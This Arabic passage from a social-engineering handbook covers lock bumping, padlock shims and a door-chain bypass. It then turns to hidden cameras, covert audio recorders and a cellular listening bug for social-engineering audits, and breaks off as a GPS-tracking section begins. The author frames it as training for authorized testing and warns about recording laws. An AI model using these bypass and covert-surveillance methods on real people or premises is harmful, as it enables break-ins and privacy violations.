‫اﻟﻣﺳﺎﻣﯾر ﻓﻲ اﻟﻣﺣﺎذاة اﻟﺻﺣﯾﺣﺔ وﯾﺳﻣﺢ ﻟﻠﻣﻛوﻧﺎت إﻟﻰ أن ﺗﻠف ﻣن دون اﻹﺿرار ﺑﺎﻟﻘﻔل‪ .‬اﻟﺗﻘﻧﯾﺔ اﻷﺳﺎﺳﯾﺔ ھﻲ وﺿﻊ اﻟﻣﻔﺗﺎح داﺧل اﻟﻘﻔل‬
‫واﻟﺧروج ﺑﮫ ﻣﻊ واﺣد أو اﺛﻧﯾن ﻣن اﻟﺷﻘوق‪ .‬ﺛم وﺿﻊ اﻟﺗوﺗر ﺧﻔﯾف ﻋﻠﻰ اﻟﻣﻔﺗﺎح واﺳﺗﺧدام ﻣﻔك أو ﻛﺎﺋن ﺻﻐﯾر آﺧر "ﻟﺿﺦ" اﻟﻣﻔﺗﺎح ﻓﻲ اﻟﻘﻔل‬
‫ﺑﺎﺳﺗﺧدام اﻟﻘوة اﻟﺧﻔﯾﻔﺔ‪ .‬ﯾﻔرض ھذا اﻹﺟراء اﻟدﺑﺎﺑﯾس ﻓﻲ اﻟﻣﻛﺎن اﻟﺻﺣﯾﺢ وﻣن ﺛم ﯾﺳﻣﺢ ﺑﺎﻟﻣﻛوﻧﺎت أن ﺗدور‪ .‬وﯾﺑﯾن اﻟﺷﻛل اﻟﺗﺎﻟﻲ ھذا اﻟﻣﻔﺗﺎح‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪954‬‬

‫‪Padlock Shims -‬‬

‫‪ Shim‬ھﻲ ﻗطﻌﺔ ﺻﻐﯾرة ﻣن اﻟﻣﻌدن اﻟرﻗﯾﻖ اﻟذي ﯾﻧزﻟﻖ ﻓﻲ ﻗﺎﻋدة اﻟﻘﻔل وﺗﺳﺗﺧدم ﻹطﻼق ﺳراح ﺗﻘﻧﯾﺔ اﻟﻘﻔل‪ The shim .‬ﺗﻛون ﺑطﺣﮫ ﻓﻲ‬
‫ﻗﺎﻋدة ﻋﻣود اﻟﻘﻔل‪ ،‬وﻓﺻل ﺗﻘﻧﯾﺔ اﻟﻘﻔل ﻣن اﻟﻌﻣود وﻓﺗﺢ اﻟﻘﻔل‪ .‬ﻛﻣﺎ ﯾظﮭر ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪.‬‬

‫اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﯾﺑﯾن ‪ shims‬ذات اﻻﺣﺗراﻓﯾﺔ وﻟﻛن ﯾﻣﻛﻧك أﯾﺿﺎ ﺻﻧﻊ ازواج ﻣﻧﮭﺎ ﻣن ﻋﻠﺑﺔ اﻻﻟﻣوﻧﯾوم اﻟﻣﺧﺻﺻﺔ ﻟﻠﻣﯾﺎه اﻟﻐﺎزﯾﺔ‪.‬‬
‫ﺑﻌض اﻟﻘﺻص اﻷﺧﯾرة)‪ (https://www.youtube.com/watch?v=7INIRLe7x0Y‬واﻟﺗﻲ ﺗظﮭر ﻛم ھو ﺳﮭل ﺗﺟﺎوز ﻗﻔل ﺑﺎب ﻓﻲ‬
‫ﻓﻧدق‪ .‬ھذا اﻟﻔﯾدﯾو ﯾﺑﯾن ﻟﻧﺎ ﻛﯾف ﯾﻘوم اﻟﻣﮭﺎﺟﻣﯾن ﺑرﺑط ﺷرﯾط ﻣطﺎطﻲ ﺣول اﻟﻘﻔل‪ ،‬وذﻟك ﺑﺎﺳﺗﺧدام اﻟﺗوﺗر اﻟطﺑﯾﻌﻲ ﻣن اﻟﺷرﯾط اﻟﻣطﺎطﻲ‪،‬‬
‫واﻟﺣﺻول ﻋﻠﻰ اﻟﺳﻠﺳﻠﺔ ﻟﺗﻧزﻟﻖ ﻗﺑﺎﻟﺔ‪ .‬ﻛذﻟك‪ ،‬ﻣﻌﮭد ﻣﺎﺳﺎﺗﺷوﺳﺗس ﻟﻠﺗﻛﻧوﻟوﺟﯾﺎ ﻟدﯾﮫ دﻟﯾل ﺗوزﯾﻌﮭﺎ ﻣﺟﺎﻧﺎ ﻋن ﻓواﺗﺢ اﻻﻗﻔﺎل واﻟﺗﻲ ﺗﺗﻌﻣﻖ أﻛﺛر ﻣن‬
‫ذﻟك ﺑﻛﺛﯾر ﺣﯾث ان ھذه ﻣﺎ ھﻲ اﻻ ﻣﻘدﻣﮫ ﻣوﺟزه ﻣدرﺟﮫ ﻓﻲ ھذا اﻟﻔﺻل‪.‬‬
‫‪http://www.lysator.liu.se/mit-guide/MITLockGuide.pdf‬‬

‫أﻧت ﺗﺗﺳﺎءل ھل ھﻧﺎك ﻣن اﻻﻗﻔﺎل اﻟﺗﻲ ﻣن اﻟﻣﺳﺗﺣﯾل ﻓﺗﺣﮭﺎ‪ ،‬أو ﻋﻠﻰ اﻷﻗل ﻣن اﻟﺻﻌب ﻓﺗﺣﮭﺎ‪ ،‬ﻧﻌم ﻣوﺟودة‪The Bump Proof BiLock .‬‬
‫ھو ﻣﺟرد ﻣﺛل ﻋﻠﻰ ھذا اﻟﻘﻔل )‪ .(http://www.wholesalelocks.com/bump-proof-bilock-ult-360.html‬اﺛﻧﯾن ﻣن اﻻﺳطواﻧﺎت‬
‫ﺗﺟﻌل ﻣن ﺷﺑﮫ اﻟﻣﺳﺗﺣﯾل اﻟﻧﺗوء أو اﻻﻟﺗﻘﺎط ﺑﺳﮭوﻟﺔ‪.‬‬
‫واﺣدة ﻣن اﻟﻣﺷﺎﻛل اﻟﺗﻲ رأﯾﺗﮭﺎ ﻓﻲ ﺣﯾﺎﺗﻲ اﻟﻣﮭﻧﯾﺔ ﻟﯾﺳت اﺧﺗﯾﺎر اﻟﻘﻔل ﺑل اﻟدﻋم اﻷﻣﻧﻲ ﻟﻠﻘﻔل‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن‪ ،‬اﻟﺷرﻛﺔ ﺗﻘوم ﺑﺷراء اﻻﻗﻔﺎل‬
‫اﻟﺛﻘﯾﻠﺔ اﻟﺗﻲ ﺗﺗطﻠب اﻟﻘﯾﺎﺳﺎت اﻟﺣﯾوﯾﺔ واﻟوﺻول اﻟرﺋﯾﺳﻲ ﻟﻠوﺻول اﻟﻰ ﻏرﻓﺔ اﻟﺧﺎدم‪ ،‬وﻟﻛن ﺑﺟوار اﻟﺑﺎب ھو‪ ،‬ﻧﺎﻓذة ﺻﻐﯾرة ﻣن اﻟزﺟﺎج اﻟﻣﻔرد‬
‫ﺑﺎﻧﯾد‪ .‬ﻣن اﻟذي ﯾﺣﺗﺎج اﻟﻰ ﻓﺗﺢ اﻟﻘﻔل ﺑﻌد ذﻟك؟ ﻓﻘط اﻟﻠص ﯾﻘوم ﺑﻛﺳر اﻟزﺟﺎج واﻟوﺻول دون ﺑذل اﻟﻛﺛﯾر ﻣن اﻟﺟﮭد‪.‬‬
‫اﻟﻣﻐزى ﻣن اﻟﻘﺻﺔ ھو أن اﻟﻘﻔل وﺣده ﻟن ﯾﺟﻌﻠﮫ آﻣن‪ .‬اﻷﻣن ھو اﻟﻌﻘﻠﯾﺔ‪ ،‬وﻟﯾس ﻗطﻌﺔ ﺑﺳﯾطﺔ ﻣن اﻷﺟﮭزة‪.‬‬
‫ﻟﯾس ﻛل ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﯾﺟب أن ﯾﻛون ﺧﺑﯾرا ﻓﻲ اﻷﻗﻔﺎل‪ ،‬وﻟﻛن وﺟود ﺑﻌض اﻟﻣﻌﺎرف اﻷﺳﺎﺳﯾﺔ ﺣول ﻛﯾﻔﯾﺔ ﻋﻣل اﻷﻗﻔﺎل وﻗﻠﯾﻼ ﻣن اﻟﺧﺑرة‬
‫ﻓﺗﺢ اﻷﻗﻔﺎل ﻗد ﯾﺟﻌل اﻟﻔرق ﺑﯾن اﻟﻧﺟﺎح واﻟﻔﺷل ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪955‬‬

‫اﻟﻛﺎﻣﯾرات وأﺟﮭزة اﻟﺗﺳﺟﯾل )‪(Cameras And Recording Devices‬‬

‫ﻓﻲ اﻟﻌدﯾد ﻣن اﻟﻣرات اﻟﺳؤال اﻟذي ﯾطرح ﻧﻔﺳﮫ‪" :‬ﻟﻣﺎذا؟ ﻟﻣﺎذا اﺳﺗﺧدام اﻟﻛﺎﻣﯾرات اﻟﺧﻔﯾﺔ وأﺟﮭزة اﻟﺗﺳﺟﯾل ﺳرﯾﺔ ﻓﻲ ﻋﻣﻠﯾﺎت اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ؟ "ﺳؤال ﺟﯾد‪ .‬ﯾﺣﺗوي ﻋﻠﻰ ﺟزﺋﯾﯾن ﺑﺳﯾطﯾن ﻣن اﻟﺟواب‪ :‬اﻟدﻟﯾل )‪ (Proof‬واﻟﺣﻣﺎﯾﺔ )‪.(Protection‬‬
‫دﻋوﻧﺎ ﻧﻧﺎﻗش ﻣﻔﮭوم اﻟدﻟﯾل )‪ .(concept of proof‬ﻛﻣﺎ ﺳﺑﻖ ذﻛره‪ ،‬ﻣراﺟﻌﺎت‪/‬ﺗﺣﻘﯾﻘﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ ﻋﻧدﻣﺎ ﺗﺧﺗﺑر اﻟﻧﺎس‪ .‬اﻧﮭﺎ‬
‫ﺗﺣﺎول ﻣﺳﺎﻋدة اﻟﺷرﻛﺔ ﻟﺗﺻﺣﯾﺢ اﻟﺑﻧﯾﺔ اﻟﺗﺣﺗﯾﺔ ﻟﻺﻧﺳﺎن ﻟﯾﻛون أﻛﺛر أﻣﻧﺎ‪ .‬ﻟﻸﺳف‪ ،‬ﯾﺗم اﺳﺗﺧدام ھذه اﻟﻣﺑﺎدئ ﻧﻔﺳﮭﺎ ﻋﻧد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‬
‫اﻟﺧﺑﯾث ﻟﯾﻔﻌل أﻋﻣﺎﻟﮫ أﯾﺿﺎ‪ .‬ﻛﺛﯾر ﻣن اﻟﻧﺎس ﯾﺗرددون ﻓﻲ اﻻﻋﺗراف أﻧﮫ ﯾﻣﻛن ﺧدﻋﺎھم ﻣﺎ ﻟم ﯾروا دﻟﯾﻼ أو أﺣد زﻣﻼﺋﮭم ﯾﺟري ﺧداﻋﺔ‪ .‬اﻟﺣرج‬
‫ﻣن اﻟﺗﻌرض ﻟﻠﺧداع ﻣن ﺧﻼل ھﺟوم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺑﺳﯾط أو اﻟﺧوف ﻣن ﺗداﻋﯾﺎت ﺻﺎﺣب اﻟﻌﻣل ﯾﻣﻛن أن ﯾﺳﺑب ﻟﻠﻧﺎس أن ﯾﻘوﻟوا اﻧﮫ ﻟم‬
‫ﯾﺣدث ﻗط‪ .‬ﯾﻣﻛن ﻟﻠﺟﮭﺎز اﻟﺗﺳﺟﯾل ﺗﻘدﯾم ھذا اﻟدﻟﯾل‪ ،‬وﻟﻛن ﯾﻣﻛن أن ﯾﺳﺗﺧدم أﯾﺿﺎ ﻓﻲ اﻟﺗدرﯾب ﻓﻲ ﻛﻼ ﻛوﻧك ﻛﻣﺣﻘﻖ ﺣﺳﺎﺑﺎت وﺗرﯾد ﻋﻣﻠﯾك‬
‫ﻣﺷﺎھدة ﺷﻲء ﻣﺎ‪.‬‬
‫ﯾﺟب أﺑدا أﻻ ﺗﺳﺗﺧدم ھذه اﻷﺟﮭزة ﺑﻘﺻد ﺟﻌل ﻣوظف ﯾﻘﻊ ﻓﻲ ورطﺔ أو ﺗﺳﺑﯾب اﻹﺣراج ﻟﮫ‪ .‬وﻣﻊ ذﻟك‪ ،‬ﻓﺈن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗﺣﺻل ﻋﻠﯾﮭﺎ ﻣن‬
‫ھذه اﻷﺟﮭزة ﺗوﻓر أداة ﺗﻌﻠﯾﻣﯾﺔ ﻛﺑﯾرة ﺑﻌد ذﻟك ﻹظﮭﺎر اﻟﻣوظﻔﯾن اﻟذﯾن ﺳﻘطوا ﻟذرﯾﻌﺔ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ وﻛﯾف‪ .‬ﯾﻣﻛن وﺟود دﻟﯾل ﻋﻠﻰ‬
‫اﻻﺧﺗراق اﻟﻧﺎﺟﺢ ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﺗﻌﻠﯾم اﻟﺷرﻛﺔ وﻣوظﻔﯾﮭﺎ ﻋﻠﻰ اﻟﻛﯾﻔﯾﺔ اﻟﺗﻲ ﯾﻧﺑﻐﻲ أن ﺗﺳﺗﺟﯾب ﻟﻠﻣﺣﺎوﻻت اﻟﺧﺑﯾﺛﺔ ﻣن اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬وﺑﻌﺑﺎرة أﺧرى‪ ،‬ﻛﯾﻔﯾﺔ اﻟﻣﻼﺣظﺔ ﺛم إﻣﺎ ﺗﺟﻧب أو ﺗﺧﻔﯾف ھذه اﻟﮭﺟﻣﺎت‪.‬‬
‫اﻟﺳﺑب اﻟﺛﺎﻧﻲ ﻻﺳﺗﺧدام أﺟﮭزة اﻟﺗﺳﺟﯾل ﻓﻲ ﻋﻣﻠﯾﺎت ‪ SE‬ھو ﻟﻠﺣﻣﺎﯾﺔ‪ ،‬وذﻟك أﺳﺎﺳﺎ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻣﺣﺗرف‪ .‬ﻟﻣﺎذا؟ رؤﯾﺔ ﻛل‬
‫‪ ،microexpression‬ﻟﻔﺗﺔ اﻟوﺟﮫ‪ ،‬واﻟﺗﻔﺎﺻﯾل اﻟﺻﻐﯾرة اﻟﺗﻲ ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮭﺎ ﻓﻲ وﻗت ﻻﺣﻖ ﻣن اﻟﻣﺳﺗﺣﯾل‪ .‬اﻟﺗﻘﺎط ھذه اﻟﻣﻌﻠوﻣﺎت ﻋﻠﻰ‬
‫اﻟﻛﺎﻣﯾرا ﯾﻌطﻲ ﻟك ﺷﯾﺋﺎ ﻟﺗﺣﻠﯾل ﻟذﻟك ﻓﺈﻧك ﺳوف ﺗﺣﺻل ﻋﻠﻰ ﺟﻣﯾﻊ اﻟﺗﻔﺎﺻﯾل اﻟﻼزﻣﺔ ﻋن اﻟﮭﺟوم‪ .‬ﯾﻣﻛن أن ﺗوﻓر اﻟﺣﻣﺎﯾﺔ ﻓﻲ أن ﯾﻛون ﻟدﯾك‬
‫ﺗﺳﺟﯾل اﻷﺣداث ﻹﺛﺑﺎت ﻣﺎ ﻛﺎن وﻟم ﯾﺣدث‪ ،‬وﻟﻛن أﯾﺿﺎ ﻣن ﺣﯾث أﻧﮫ ﻻ ﯾﺗرك ﻛل ﺷﻲء ﻟذاﻛرﺗك ﻣن ھذا اﻟوﺿﻊ‪ .‬وإﻧﻣﺎ ھو أﯾﺿﺎ أداة ﺗﻌﻠﯾﻣﯾﺔ‬
‫ﺟﯾدة ﻟﺗﺣﻠﯾل اﻟﻔﺷل أو اﻟﻧﺟﺎح ﻓﻲ ﻣﺣﺎوﻻت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫ﯾﺳﺗﺧدم ھذا اﻟﻣﺑدأ ﻓﻲ ﻣﺟﺎل إﻧﻔﺎذ اﻟﻘﺎﻧون‪ .‬اﻟﺷرطﺔ واﻟﻌﻣﻼء اﻟﻔﯾدراﻟﯾﯾن ﺗﺳﺟل ﺗوﻗف ﺣرﻛﺔ اﻟﻣرور واﻟﻣﻘﺎﺑﻼت واﻻﺳﺗﺟواﺑﺎت ﻟﻠﺣﻣﺎﯾﺔ‪،‬‬
‫واﻟﺗﻌﻠﯾم‪ ،‬وﻛدﻟﯾل ﻻﺳﺗﺧداﻣﮭﺎ ﻓﻲ اﻟﻣﺣﻛﻣﺔ‪.‬‬
‫ﺗﻧطﺑﻖ ھذه اﻟﻣﺑﺎدئ أﯾﺿﺎ ﻋﻠﻰ ﺗﺳﺟﯾل اﻟﺻوت‪ .‬اﻟﺗﻘﺎط ﻣﻛﺎﻟﻣﺔ ھﺎﺗﻔﯾﺔ أو ﻣﺣﺎدﺛﺔ ﻋﻠﻰ ﺟﮭﺎز ﺗﺳﺟﯾل ﯾﺧدم ﻛل ﻧﻔس أﻏراض ﺗﻠك اﻟﻣذﻛورة ﺳﺎﺑﻘﺎ‬
‫ﻟﻠﻔﯾدﯾو‪ .‬ﻧﻘطﺔ ﻣﮭﻣﺔ ﯾﺟب أن ﻧذﻛرھﺎ ھﻧﺎ أن ﺗﺳﺟﯾل اﻟﻧﺎس دون ﻣواﻓﻘﺗﮭم ﻏﯾر ﻗﺎﻧوﻧﻲ ﻓﻲ ﻣﻧﺎطﻖ ﻛﺛﯾرة ﻣن اﻟﻌﺎﻟم‪ .‬ﺗﺄﻛد ﻣن ﻗدرﺗك ﻋﻠﻰ اﺳﺗﺧدام‬
‫أﺟﮭزة اﻟﺗﺳﺟﯾل ﻛﺟزء ﻣن ﻋﻘد اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﻲ اﻟﺗﻲ ﻛﻧت ﻗد وﻗﻌﺗﮫ ﻣﻊ اﻟﺷرﻛﺔ‪.‬‬
‫أﺟﮭزة ﺗﺳﺟﯾل اﻟﺻوت ﺗﺄﺗﻲ ﻓﻲ ﺟﻣﯾﻊ اﻷﺷﻛﺎل واﻷﺣﺟﺎم‪ .‬أﻧﺎ أﻣﻠك ﺟﮭﺎز ﺗﺳﺟﯾل ﺻوﺗﻲ ﺻﻐﯾر ﻣﺛل ﻗﻠم ﺣﻘﯾﻘﻲ‪ .‬ھذا اﻟﺟﮭﺎز ﯾﺟﻠس ﺟﯾد ﻓﻲ‬
‫ﺟﯾﺑﻲ اﻷﻣﺎﻣﻲ وﯾﻘوم ﺑﺎﻟﺗﺳﺟﯾﻼت اﻟﺻوﺗﯾﺔ ﺑوﺿوح ﯾﺻل إﻟﻰ ‪ 20‬أﻣﺗﺎر‪ .‬ﻣﻊ ‪ 2‬ﻏﯾﻐﺎﺑﺎﯾت ﻣن ﺳﻌﺔ اﻟﺗﺧزﯾن اﻟداﺧﻠﯾﺔ ﯾﻣﻛﻧﻧﻲ ﺑﺳﮭوﻟﺔ ﺗﺳﺟﯾل‬
‫ﺑﺿﻊ ﺳﺎﻋﺎت ﻣن اﻟﻣﺣﺎدﺛﺔ دون ﻗﻠﻖ وﻣن ﺛم ﺗﺣﻠﯾﻠﮭﺎ ﻓﻲ وﻗت ﻻﺣﻖ‪.‬‬
‫اﻟﻜﺎﻣﯿﺮات‬
‫ﻓﻲ ھذه اﻷﯾﺎم ﯾﻣﻛﻧك اﻟﻌﺛور ﻋﻠﻰ ﻛﺎﻣﯾرات ﻋﻠﻰ ﺷﻛل اﻷزرار؛ اﻷﻗﻼم‪ .‬ﻣﺧﺑﺄة ﻓﻲ اﻷﻗﻼم‪ .‬اﻟﺳﺎﻋﺎت اﻟداﺧﻠﯾﺔ‪ ،‬دﻣﻰ اﻟدﺑﺑﺔ‪ ،‬رؤوس اﻟﻣﺳﻣﺎر‬
‫اﻟوھﻣﻲ‪ ،‬وأﺟﮭزة إﻧذار اﻟدﺧﺎن‪ .‬وأﺳﺎﺳﺎ أي ﺟﮭﺎز آﺧر ﯾﻣﻛن أن ﺗﺗﺧﯾل‪ .‬اﻟﻌﺛور ﻋﻠﻰ ﻛﺎﻣﯾرا ﻣﺛل واﺣده ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﻟﯾس ﻣن‬
‫اﻟﺻﻌب ﺟدا‪.‬‬

‫ﻧﻌم‪ ،‬ﺻدق أو ﻻ ﺗﺻدق‪ ،‬راﺑطﺔ اﻟﻌﻧﻖ ھذه ﺗﺧﺗﺑﺊ ﻛﺎﻣﯾرا ﺑﺎﻷﻟوان ﻛﺎﻣﻠﺔ ﺗﻌﻣل ﻋﻠﻰ ﺑطﺎرﯾﺔ ‪ 12‬ﻓوﻟت وﺗرﺑط ﺑﺟﮭﺎز ﺗﺳﺟﯾل ﺻﻐﯾر‪ .‬ارﺗداء‬
‫راﺑطﺔ اﻟﻌﻧﻖ ھذه ﻓﻲ ﺗﺣﻘﯾﻘﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﺿﻣن ﻟك اﻟﺗﻘﺎط ﻛل ﻣﺎ ﻓﻲ زاوﯾﺔ ‪ 70‬درﺟﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪956‬‬

‫ﺑﺎﺳﺗﺧدام ﺟﮭﺎز ﺗﺳﺟﯾل ﻣﺛل ھذا ﯾﻌطﻲ ﻣﯾزة‪ .‬ﺣﯾث أن اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧﮫ أن ﯾرﻛز ﻋﻠﻰ اﻟذرﯾﻌﺔ )‪ (Pretext‬أو اﻻﺳﺗﻧﺑﺎط‬
‫)‪ (Elicitation‬اﻟﺗﻲ ﻟم ﯾﻣﺎرﺳﮭﺎ ﻣﺳﺑﻘﺎ دون اﻟﺣﺎﺟﺔ إﻟﻰ اﻟﻘﻠﻖ ﺑﺷﺄن ﻣﺣﺎوﻟﺔ ﺗذﻛر ﻛل اﻟﺗﻔﺎﺻﯾل‪.‬‬
‫ﺟﮭﺎز واﺣد ﻣﺗﺎح ﯾﺳﺗﺧدم ﻓﻲ اﻟﺑطﺎﻗﺔ اﻟﺧﻠوﯾﺔ "دﻓﻊ اﻻﺳﺗﺣﻘﺎﻗﺎت أوﻻ ﺑﺄول" ﻹرﺳﺎل ﻣﺣﺗوى اﻟﺻوت ﻋﺑر اﻹﺷﺎرات اﻟﺧﻠوﯾﺔ إﻟﻰ أي رﻗم‬
‫ﻣﺑرﻣﺞ‪ .‬أو ﯾﻣﻛن ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻻﺗﺻﺎل ﺑﮫ وﯾﺳﻣﻊ ﻣﺎ ﯾدور ﻓﻲ أي وﻗت‪ .‬ھذا اﻟﺟﮭﺎز ﯾﻣﻛن أن ﯾﻧﻘذ ﻋﺷرات اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن‬
‫ﻟﻠﺳﺎﻋﺎت ﻓﻲ اﻟﺣﺻول ﻋﻠﻰ ﻛﻠﻣﺎت اﻟﺳر أو اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ اﻟﺗﻲ ﻗﺎل اﻧﮭﺎ ﯾﻣﻛن ان ﺗﺳﺗﺧدم ﻓﻲ ھﺟوم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫اﻻﺷﻛﺎل اﻟﺗﺎﻟﯾﺔ ﺗظﮭر ﺑﻌض اﻟﺻور ﻋن أﻛﺛر ﻣﻌدات اﻟﺗﺟﺳس ﺷﻌﺑﯾﮫ ﻟدى ﻣﻧﻔذي اﻟﻘﺎﻧون ﺷﻌﺑﯾﺔ )‪.(http://www.spyassociates.com/‬‬
‫ﻛل ﻣﺎ ﻓﻲ ھذه اﻟﺻور ھﻲ ﻋﺑﺎره ﻋن ﻛﺎﻣﯾرات ﺧﻔﯾﺔ أو أﺟﮭزة ﺗﺳﺟﯾل ﺻوﺗﯾﺔ‪ ،‬ﺻدق أو ﻻ ﺗﺻدق‪ .‬ﯾﻣﻛﻧك اﺳﺗﺧدام ﻛل ﻣن ھذه اﻷﺟﮭزة‬
‫ﻟﺗﺳﺟﯾل ﺳرا ﻟﻠﮭدف ﺛم اﻟﺗﻔﺗﯾش ﻻﺣﻖ‪.‬‬

‫اﺳﺗﺧدام أدوات ﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‬

‫ﯾﻌرض اﻟﻘﺳم اﻟﺳﺎﺑﻖ ﺑﻌض ﻣن اﻷﻧواع اﻟﻣﺧﺗﻠﻔﺔ ﻣن أﺟﮭزة اﻟﺗﺳﺟﯾل ھﻧﺎك‪ ،‬وﻟﻛن اﻟﺳؤال ﻣﺎ زال ﻛﯾﻔﯾﺔ اﺳﺗﺧداﻣﮭﺎ‪ .‬اﻟﻣدھش ﻛﻣﺎ ﯾﺑدو‪ ،‬ان‬
‫اﺳﺗﺧدام اﻟﻛﺎﻣﯾرات أو أﺟﮭزة اﻟﺗﺳﺟﯾل ﯾﺗﺑﻊ ﻧﻔس اﻟﻣﺑﺎدئ أي أداة أﺧرى ﻓﻲ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﻣﺛل اﻟذرﯾﻌﺔ أو اﻻﺳﺗﻧﺑﺎط‪.‬‬
‫اﻟﻣﻣﺎرﺳﺔ أﻣر ﺿروري‪ .‬إذا ﻟم ﺗﺣد اﻟﻣﻛﺎن اﻟﻣﻧﺎﺳب ﻟﻠﻛﺎﻣﯾرا أو ﺟﮭﺎز اﻟﺗﺳﺟﯾل اﻟﺻوﺗﻲ‪ ،‬ﻗد ﯾﻧﺗﮭﻲ ﺑك اﻷﻣر ﻻﻟﺗﻘﺎط اﻟﻔﯾدﯾو ﻣن اﻟﺳﻘف أو‬
‫اﻟﺻوت ﻣﻊ ﺻوت ﻣﻛﺗوم‪ .‬إﻧﺷﺎء اﻟزي اﻟﻣﻧﺎﺳب واﻟﻌﺗﺎد ﻗد ﯾﺣﻣﻠﮭﺎ اﻟﻌﺛور ﻋﻠﻰ اﻟﻣوﻗﻊ اﻟﻣﻧﺎﺳب ﻟﻠﻛﺎﻣﯾرا أو ﺟﮭﺎز اﻟﺻوت ھو ﻓﻛرة ﺟﯾدة‪.‬‬
‫ﻣﺣﺎوﻟﺔ اﻟﺟﻠوس واﻟوﻗوف‪ ،‬أو اﻟﻣﺷﻲ‪ ،‬وﻧرى ﻛﯾف ﺗؤﺛر ھذه اﻟﺣرﻛﺎت ﻋﻠﻰ اﻟﺻوت واﻟﻔﯾدﯾو ﻋﺎﻟﯾﺔ اﻟﺟودة‪.‬‬
‫ﻣن اﻟﻣﮭم ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻣﻧطﻠﻖ ﯾﺟب أن أﺷدد ﻋﻠﯾﮫ ﻣرة أﺧرى ﻋﻠﻰ ﺧطورة اﻟﺣﺻول ﻋﻠﻰ ﻋﻘد ﻟﺗوﺿﯾﺢ ﻗدرﺗك ﻋﻠﻰ اﻟﺗﺳﺟﯾل‪ .‬ﯾﻣﻛن‬
‫اﻟﻘﯾﺎم ﺑذﻟك ﺑدون ﻋﻘد وﻟﻛن ﺳوف ﯾﻛون ھﻧﺎك ﻛﺎﺑوس ﻗﺎﻧوﻧﻲ‪ .‬اﻟﺗﺣﻘﻖ ﻣن اﻟﻘواﻧﯾن اﻟﻣﺣﻠﯾﺔ ﻟﻠﺗﺄﻛد ﻣن أﻧك ﻻ ﺗﺳﺗطﯾﻊ اﻟوﻗوع ﻓﻲ ورطﺔ‬
‫ﻻﺳﺗﺧدام ھذه اﻷﺟﮭزة ھو أﯾﺿﺎ ﻓﻛرة ﺟﯾدة‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﺳﺗﺧدم ھذه اﻷﺟﮭزة ﻟﺗﺳﺟﯾل اﻟﻧﺎس ﻓﻲ ﻣواﻗف ﻣﺣرﺟﺔ أو ﻟﻠﻘﺑض ﻋﻠﻰ ﺷﺧص‪ .‬ﻣﻧﺎﻗﺷﺔ ﺣول ھذا اﻟﻣوﺿوع ﯾﻣﻛن‬
‫اﻟﻣﺿﻲ ﻗدﻣﺎ‪ ،‬وﻟﻛن ﻧﺄﻣل أن ھذا اﻟﻠﻣﺣﺔ اﻟﻣوﺟزة ﻋن اﻷدوات اﻟﻣﺗوﻓرة وﻛﯾﻔﯾﺔ اﺳﺗﺧداﻣﮭﺎ ﯾﻣﻛن ﻓﺗﺢ اﻟﺧﯾﺎرات ﻋﻧد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬

‫اﺳﺗﺧدام ﻧظﺎم ﺗﺣدﯾد اﻟﻣواﻗﻊ اﻟﻣﻘﺗﻔﻲ )‪(Using A GPS Tracker‬‬

‫اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ ﻏﺎﻟﺑﺎ ﻣﺎ ﯾرﻏﺑون ﻓﻲ ﺗﺗﺑﻊ اﻷھداف ﻗﺑل أو ﺑﻌد ﻣﻐﺎدرﺗﮭم اﻟﻣﻛﺗب‪ .‬ﻣﺎ ﯾوﻗف اﻟﮭدف ﻓﻲ طرﯾﻘﮫ إﻟﻰ اﻟﻣﻛﺗب ﻣن اﻟﻣﻣﻛن‬
